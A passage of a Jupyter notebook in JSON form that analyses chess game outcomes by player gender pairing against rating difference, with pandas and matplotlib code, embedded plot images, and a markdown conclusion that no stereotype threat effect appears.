1+L4idP6wN3mNnD1I+rcQPn\ndYF/SxqL/6bujcdsqMY1bJExwBOSRuPqhVvhO9jP4WpIzcrcjqM8EvdA/G9rgZL3N+OvaTf+5FTv\nAGB8iuEwA1eB7ItH4L6wTt2rCklL4x6dMrJTgjUl5SNrn29m4yR9H+/zh0DXBvr8tJmNSU4qBuOC\n4lVJuBiPB8gbhHt8ug34U0kd2UldmeevIGgThGARBMFcY2ZPywPOrShpFTObWKHorXjAtk74yUQZ\nD+CL5kWAB82sTJ+4sYjM1bQ5+4E/Dw929hrJi5OZnS7paXzXfnfcm9K7uA3ImWZW5ha0XmT9WgFf\noOb5FNfBPw84u8R17WzjYmYTJfXDF+E744La47i9xX3JSHQEsC3umed6M5ssaX3geNwmpj9uNDoK\nGFYwfq00D4fhQuZuksaa2aW5a1UJZGb2qKRd8DnZGVcvehw3Js705OfLlT9JHshuCC449cBjfjyD\nnyDkF6hl7a7pnTKzz+WB387AnQz8ChcADjOzzFVrLczAA8Y9hwtUq+BRm6/Ed/8/K5Stpf219Gtu\nxrFXSpehsmA1A3ca8FGKjdEHF2Z3w42858cNus8E/mhmLWpbghtND2TOqOY9cFWqTulzdvqRuR3u\nxpx/r3kuY5YHvLskbYALpn3w9+d/uGvh44GRFdQ/MxW722vpUBC0JE11xxgEQTAbkk7BjXZ/a2YN\n/cAGHZS0o72nmZXar8wryCMufwRMN7PGXPwGQaMkz1eTcFfGq7SG17UgqIawsQiCoF6cj3sx+aU8\nMFYQFNmCFjJCbm4kLSJpM0ll6n+ZTUtD8RmCoBZ+hZ/m/CmEiqAtE4JFEAR1wcymAKfhbmQPbuXm\nBG2MZNS8O26bMC/QE3cvOirFCwEguWbNIi23ZPyVYB5FUk9cLfM53FA8CNosoQoVBEHdSN5xHsID\nRK3TgK1FELR7JF0IHIgb91+Ne9nqhxs5TwQ2qGAjFARVkTyD3YHHh9nEzB5r5SYFQYPEiUUQBHUj\nuSEdCEzHd3IXaeUmBUFzcjBu5PwqsB9wJB7E7BygdwgVQR0YinvOOjiEiiAIgiAIgiAIgiAIgiAI\ngiAIgiAIgiAIgiAIgiAIgiAIgiAIgiAIgiAIgiAIgiAIgiAIgiAIgiAIgiAIgiAIgiAIWoj/B4Bq\nnEb1vbX0AAAAAElFTkSuQmCC\n", "text/plain": [ "<matplotlib.figure.Figure at 0xabfeb84c>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "#our baseline: players are Male-Male\n", "yvalsMM=games[games.pair=='MM'].groupby('rdiff_cat').mean()['WhiteScore']\n", "y_semMM=games[games.pair=='MM'].groupby('rdiff_cat').sem()['WhiteScore']\n", "y_stdMM=games[games.pair=='MM'].groupby('rdiff_cat').std()['WhiteScore']\n", "y_cntMM=games[games.pair=='MM'].groupby('rdiff_cat').agg(len)['WhiteScore']\n", "\n", "#players are female-female\n", "yvalsFF=games[games.pair=='FF'].groupby('rdiff_cat').mean()['WhiteScore']\n", "y_semFF=games[games.pair=='FF'].groupby('rdiff_cat').sem()['WhiteScore']\n", "y_stdFF=games[games.pair=='FF'].groupby('rdiff_cat').std()['WhiteScore']\n", "y_cntFF=games[games.pair=='FF'].groupby('rdiff_cat').agg(len)['WhiteScore']\n", "\n", "#players are female-male\n", "yvalsFM=games[games.pair=='FM'].groupby('rdiff_cat').mean()['WhiteScore']\n", "y_stdFM=games[games.pair=='FM'].groupby('rdiff_cat').std()['WhiteScore']\n", "y_cntFM=games[games.pair=='FM'].groupby('rdiff_cat').agg(len)['WhiteScore']\n", "\n", "#players are female-male\n", "yvalsMF=games[games.pair=='MF'].groupby('rdiff_cat').mean()['WhiteScore']\n", "y_stdMF=games[games.pair=='MF'].groupby('rdiff_cat').std()['WhiteScore']\n", "y_cntMF=games[games.pair=='MF'].groupby('rdiff_cat').agg(len)['WhiteScore']\n", "\n", "\n", "#created weighted average of FM values with MF values by first comparing to appropriate baseline\n", "#(p(win|white) for MM and p(win|black) for MM respectively)\n", "yvalsFM_MF=(yvalsFM-yvalsMM)*(y_cntFM/(y_cntFM+y_cntMF))+(yvalsMF-yvalsMM)*(y_cntMF/(y_cntFM+y_cntMF))\n", "y_cntFM_MF=y_cntFM+y_cntMF\n", "y_stdFM_MF=np.sqrt( ((y_stdFM**2)/y_cntFM) + ((y_stdMF**2)/y_cntMF) )\n", "\n", "\n", "#calculate standard deviations of differences from baseline \n", "y_stdFFdiff=np.sqrt( ((y_stdFF**2)/y_cntFF) + ((y_stdMM**2)/y_cntMM) )\n", "y_stdFMdiff=np.sqrt( ((y_stdFM**2)/y_cntFM) + ((y_stdMM**2)/y_cntMM) )\n", "y_stdMFdiff=np.sqrt( ((y_stdMF**2)/y_cntMF) + ((y_stdMM**2)/y_cntMM) )\n", "y_stdFM_MFdiff=np.sqrt( ((y_stdFM_MF**2)/y_cntFM_MF) + ((y_stdMM**2)/y_cntMM) )\n", "\n", "#calculate standard errors\n", "#sem = std / sqrt(n)\n", "y_semFFdiff= y_stdFFdiff / np.sqrt(y_cntFF+y_cntMM)\n", "y_semFMdiff= y_stdFMdiff / np.sqrt(y_cntFM+y_cntMM)\n", "y_semMFdiff= y_stdMFdiff / np.sqrt(y_cntMF+y_cntMM)\n", "y_semFM_MFdiff = y_stdFM_MFdiff / np.sqrt(y_cntFM_MF+y_cntMM)\n", "\n", "\n", "#plot\n", "fig, axes = plt.subplots(nrows=1, ncols=1, figsize=fsize)\n", "axes.errorbar(bins[:-1]+binwidth/2,yvalsMM-yvalsMM,yerr=0,fmt=fmts[2],ls=lss[2],lw=lweight,label='MM')\n", "#axes.errorbar(bins[:-1]+binwidth/2,yvalsFM-yvalsMM,yerr=y_semFMdiff*1.96,fmt='-d',ls=lss[0],lw=lweight,label='FM')\n", "axes.errorbar(bins[:-1]+binwidth/2,yvalsFM_MF,yerr=y_semFM_MFdiff*1.96,fmt=fmts[0],ls=lss[0],lw=lweight,label='FM+MF')\n", "#axes.errorbar(bins[:-1]+binwidth/2,yvalsMF-yvalsMM,yerr=y_semMFdiff*1.96,fmt='-d',ls=lss[0],lw=lweight,label='MF')\n", "#axes.errorbar(bins[:-1]+binwidth/2,yvalsFF-yvalsMM,yerr=y_semFFdiff*1.96,fmt=fmts[4],ls=lss[4],lw=lweight,label='FF')\n", "axes.set_xlabel('Difference in rating \\n(White - Black, using bin size = ' + str(binwidth) + ')')\n", "axes.set_ylabel('Average score for White \\ncompared to MM pairing')\n", "axes.set_ylim([-ylimit_diff,ylimit_diff])\n", "axes.set_xlim([-650,650])\n", "\n", "titletext= 'game gender pairing'\n", "fontP = FontProperties()\n", "fontP.set_size(16)\n", "legend = plt.legend(loc=0, ncol=1, bbox_to_anchor=(0, 0, 1, 1),prop = fontP,fancybox=True,shadow=False,title=titletext)\n", "plt.setp(legend.get_title(),fontsize=16)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**This comparison shows no stereotype threat effect**. When the female/white player has a lower rating than her male opponent her chances of victory are *greater* than for a comparable match between two male players with an equal rating difference. The overall effect is a 'flattening' of the rating-difference vs outcome curve, as happens with overall lower-rated players compared to higher-rated players.\n", "\n", "For completeness we can add in the female-female (FF) pairings:" ] }, { "cell_type": "code", "execution_count": 9, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "[None]" ] }, "execution_count": 9, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "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\n63v66WeSmbmdRx+dR1RUNKNHj2PmzD/z979fSWxsHAB/+MNxuN1uXnjhWR555AHi4uIZOvQoHnzw\n0fKgouLytDXV7+67b+e6664iPj6eY46ZyvTpp/PYYw8F9Q41ueCCi1m06C3uvPMfJCYmcsklf+GI\nI44E4MILL2HXriyuvPIvJCcnc9ppZ3LiidPZsmUTs2f/k4SEptXey9c7BpLH5XLV+nsSapG7t7n4\nLSsrO3z9aBW0aZPMrl2+Vy+QhqO2iVxqm8iltolcapva/fbbb5SWllSaD3DhhWfTqlUr7rrr3rA9\nt65tU1payr59eyvNlXjttVe49967eeedZZUmcjcmZRvkPfLI4/TvP7BB6+KtbcLxe5KamuIzftAc\nCxEREZFGZtasi7jsspl8++03ZGSk88wzT/L99xuZOvX4hq6aV6+//ionnHAs7777NpmZO/j88zX8\n5z8LGTlyTKMNKhqD+v490VAoERERkUbmzjvvYd68e7n22isoKNhPx46duP76WxgxYnRDV82rE0+c\nTn5+Hk89tYA5c+6kZcuWDB8+gosuuqyhqxY0b0OSIkV9/55E7r+E+E1DoURtE7nUNpFLbRO51DaR\nS20TueqrbTQUSkREREREwkqBhYiIiIiIBE2BhYiIiIiIBE2BhYiIiIiIBE2BhYiIiIiIBE2BhYiI\niIgE7by7lnPeXcsbuhrSgBRYiIiIiIhI0BRYiIiIiEijddllMxk5cghLl77v9frWrVsYOXIII0cO\nAWDRorcYOXIIV175F5/3nDnzHEaOHMK7774dljofrBRYiIiIiEijFh+fwJIl73m9tnTp+8THx1fa\nITs+Pp5169ayZ8+eavm3b89g8+afInpH7UilwEJEREREGi2Xy8Xhhw/ms8/WkJ2dXe360qXvM3Dg\n4bjd7vK05s1b0LlzF5YvX1wt/7Jli6vlF/8osBARERGRoMx9YZ3Xn+tL7959SElpxooVSyul//DD\n9+zcmcnQocOrlRk2bARLllQfPrV06WJGjBgVtroezBRYiIiIiEidzX1hHRu3HBhStHHLHq56+GO2\nZubUWx1cLhdjx46vNhxq2bL3OfLIo0hKSqpWZuzYCXz77dds355RnrZly2a2bNnE6NHjw17ng1GT\nhq6AiIiIiDS8+19ez4affg3JvfbkFPCPJz8PuNyAHq24fPrAgMu5XC4mTDiG//73ZbKydpKa2ha3\n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\nSEhJSfG7zo2FAgvvsj3HRB/Xk6rkq0v5fZ6fcz3HjyoEFQBYa583xjwBjK6psi1aNKVJk+iasoRM\nmza+OmmkoaltIpfaJnKpbSKX2iZyVW2bj79aUy1PqbuUt7e9y3WjLgt7fWJjmxAT06TW35nmzZvS\npk0y06dPY968e3nppf8wbNgwevXqBEB8fAyxsd7vExMTTXJyfLVrycnxREW5ytOnTTueN998k/37\n93PppZdWyp+SklDpPDExLuS/5w39340CC+82A27AVxhZNgfD1yyfsgChWnljTDMgBVjrSdriOfqK\nDHYBbWuoK3v2+BpxFVpt2iSza1dO7Rml3qltIpfaJnKpbSKX2iZyeWubKw67FDgwMbvicKf6aMfC\nwmJKS2t/1t69+Z48MQwePIRFixZxzTU3lJfbv7+IwsJir/cpKiohJ2d/tWs5OfspLXWXpx911Gjm\nzJlDTEwsAwcOrZQ/O/u3Sud5eQUh/feJhP9utNysF9baPGADMNgYE1fxmmcVp+HANmutr8ndH3uO\nI7xcG+k5fuR51l7ge+BQz70rPisGaI/vSeQiIiIiv2sulyvgHbMnTjyG6OjoSnMgarrPvHmPMWXK\nVK/PLpvgDdCqVWsGDhzEsGFHEx8fH1CdDgbqsfDtCeBBnE3qHqyQfibQBri5LMEY0wfYb63dAmCt\nXW+M+RKYboy52Vqb4cnnAq4ACoGKywAsBO4GLsHZ56LMRTht9FZI30xERETkIDFv3mO15lm16vNK\n55MnH8vkycdWSrv++lsCfvaUKVOrBRwPPPBIrc+ven6wUGDh26PAn4C5xpguwBdAP5zAYAMwt0Le\njcAPQN8KaZcCK3BWdbofZ07FaTh7VtxYZf+LB4GTgPuNMd2A9cAQ4GKcpW3/GfK3ExEREREJIQ2F\n8sFaWwxMAubhfOlfCMwA5gNjrLX7qxRxVyn/GTAKZ5jTrTiBSipwrrX2jip5C3CWm50LnOB5xome\nZw611v4S0pcTERERCbGHx80O23Ky0jgENiBNIlJWVna9bN0YCZOCxDu1TeRS20QutU3kUttELrVN\n5KqvtklNTfEZP6jHQkREREREgqbAQkREREREgqbAQkREREREgqbAQkREREREgqbAQkREREREgqbA\nQkRERESCZi84B3vBOQ1dDWlACixERERERCRo2nlbRERERBqtyy6byfr167xec7lcLFq0nClTxvos\n36uXYcGCZ8NVvd8VBRYiIiIi0mi5XC4GDjyc2267y+v1xMREAM488xxOOeX0atejo/V1OFT0Lyki\nIiIidfbz3LtxFxSUn2ev/oSYtm2JTW1LdFJS2J/vdruJiYmhRYuWNeZLSEioNY8ER4GFiIiIiNRZ\n0sDD2PXi8+XnmU/8G4Cmhw4g7fIrG6pa0gA0eVtERERE6iz5qGEQHV05MTqa1FNPa5gKSYNRYCEi\nIiIiANWWi616/vHxJ1W73iQ5hcT+AyqlNx89ltj2HWq9X6iWp3W73SHJI8HRUCgRERERCUqzo0eQ\n95WzMlNUYiKtjptWr89ft+4LJk4cVS29ffv2PP30iwA89dQTPPPMU9XyTJ58LFdf/few1/H3QIGF\niIiIiABgHn+yxvOj33iVXbtyql1P7D+wPK3VcdPKJ23Xdr+q53XVr19/brjh/6qlN2ly4KvuiSee\nwgknnFwtT2Ji+CeY/14osBARERGRoLgqfIFvPmZcvT8/Li6Ojh3TasyTkpJSax4JjuZYiIiIiEjI\nuKpO5JbfDQUWIiIiItKoaWJ2ZFBgISIiIiKNlsvlwuVyNXQ1BM2xEBEREZFGbN68x2rNs2rV5/VQ\nE1GPhYiIiIiIBE09FiIiIiIStFAtHSuNl3osREREREQkaAosREREREQkaAosREREREQkaAosRERE\nREQkaAosREREREQkaAosREREREQkaAosREREREQkaAosREREREQkaAosREREREQkaAosREREREQk\naAosREREREQkaAosREREREQkaAosREREREQkaAosREREREQkaAosREREREQkaAosREREREQkaAos\nREREREQkaAosREREREQkaAosREREREQkaAosREREREQkaAosREREREQkaAosREREREQkaAosRERE\nREQkaAosREREREQkaAosREREREQkaAosREREREQkaAosREREREQkaAosREREREQkaAosREREREQk\naAosREREREQkaAosREREREQkaAosREREREQkaAosREREREQkaE0augKRzBjTErgFmAa0A34BFgE3\nWWsz/Sg/HLgJGAokABaYb619qJZyLmAFMAo411r7VDDvISIiIiISbuqx8MEYkwB8AFwMvAycDTwG\nnAp8bIxpXkv5cTjBQQ+c4OQCnMDiQWPMfbU8/gKcoMLt+YiIiIiIRDT1WPh2OXAocKm19tGyRGPM\neuA1nJ6Iq2oo/wiQD4y01u70pD1rjHkNmGWMWWit3VC1kDGmHTAb+BIYFJI3EREREREJM/VY+HYW\nkAs8UTF2XN1bAAAgAElEQVTRWvsGkAGc6augMWYoYICXKgQVZR4CXDWUnwcUAXfUrdoiIiIiIvVP\ngYUXxpgUoDfwpbW2yEuWz4A2xphuPm5xpOe42kfZinkqPvc44CTgCmB3QJUWEREREWlACiy86+I5\npvu4vs1z9BVYdPVV3lqbA+wDuldMN8YkAw8Di621zwZSWRERERGRhqbAwrtkzzHfx/W8KvnqUr5q\n2TuB5sBF/lRQRERERCSSaPJ2BDDGDMNZfeoaa+3Whq6PiIiIiEigFFh4l+05Jvq4nlQlX13K7wMw\nxsQCjwNfAbUtQ+tVixZNadIkui5FA9amja9OGmloapvIpbaJXGqbyKW2iVxqm8jV0G2jwMK7zTj7\nR6T5uF42B+NHH9c3eY7VyhtjmgEpwFpP0rU4E8X/CHQ0xpRlbeM5tjTGpAG/Wmt/8/awPXt8jbgK\nrTZtktm1K6deniWBUdtELrVN5FLbRC61TeRS20SuSGgbzbHwwlqbB2wABhtj4ipeM8ZEA8OBbdZa\nX5O7P/YcR3i5NtJz/MhzHIfTDu/gTAov+7zouX6v53x64G8iIiIiIlI/FFj49gTQlOqTqc/E6U14\nvCzBGNPHGNO17Nxaux5ng7vpxpiOFfK5cJaSLQSe8iRfB0z18rnec/0+z/myEL2XiIiIiEjIaSiU\nb48CfwLmGmO6AF8A/XACgw3A3Ap5NwI/AH0rpF0KrABWGmPux5lTcRowFrjRWrsZwFq7xtvDjTFl\n45vWW2sXheqlRERERETCQT0WPlhri4FJODthnwQsBGYA84Ex1tr9VYq4q5T/DBgFfA/cihOopALn\nWmv93VXbXXsWEREREZGG52roCkjwsrKy6yUAiYRJQeKd2iZyqW0il9omcqltIpfaJnLVV9ukpqb4\njB/UYyEiIiIiIkFTYCEiIiIiIkFTYCEiIiIiIkFTYCEiIiIiIkFTYCEiIiIiIkFTYCEiIiIiIkFT\nYCEiIiIiIkFTYCEiIiIiIkFTYCEiIiIiIkFTYCEiIiIi